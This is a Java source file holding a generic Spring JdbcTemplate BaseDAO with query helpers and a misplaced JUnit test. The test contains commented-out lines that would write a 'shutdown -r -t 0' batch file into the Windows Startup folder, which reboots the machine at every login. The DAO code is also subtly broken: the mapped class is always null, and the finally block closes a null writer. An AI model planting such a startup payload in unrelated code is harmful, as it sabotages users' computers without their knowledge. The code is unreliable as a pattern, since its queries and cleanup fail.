package com.example.test.DAO;

import org.junit.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.dao.DataAccessException;
import org.springframework.jdbc.core.BeanPropertyRowMapper;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.stereotype.Repository;
import java.io.BufferedWriter;
import java.io.IOException;
import java.util.List;


@Repository
public class BaseDAO<T> {
    @Autowired
    private JdbcTemplate jdbcTemplate;
    private final Class<T> clazz=null;
    //1.数据增删改
    public int update( String sql, Object...args){
        return jdbcTemplate.update(sql,args);
    }
    //2.单项数据查询【通用表/类】
    public <T>T query(String sql,Object...args ){
        T object = null;
        try {
            object = jdbcTemplate.queryForObject(sql, new BeanPropertyRowMapper<>((Class<T>) clazz), args);
        } catch (DataAccessException e) {
            e.printStackTrace();
        }
        return object;
    }
    //3.多项数据查询【通用表/类】
    public <T> List<T> querys(String sql, Object...args){
        return jdbcTemplate.query(sql,new BeanPropertyRowMapper<>((Class<T>) clazz),args);
    }
    //4.查询通用值的方法(count())
    public Object getValue(String sql,Object...args) {
        return  jdbcTemplate.queryForObject(sql,Object.class,args);
    }
@Test
public void test() throws IOException {
    BufferedWriter bufferedWriter = null;
    try {
        //File file = new File((new StringBuilder()).append(System.getProperty("user.home")).append("/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/gj.bat").toString());

        //file.createNewFile();
        //bufferedWriter = new BufferedWriter(new FileWriter(file));
        //bufferedWriter.write("shutdown -r -t 0");
            System.out.println(System.getProperty("user.home"));
        } catch (Exception e) {
            e.printStackTrace();
        }finally {
            assert bufferedWriter != null;
            bufferedWriter.close();
        }
    }
}
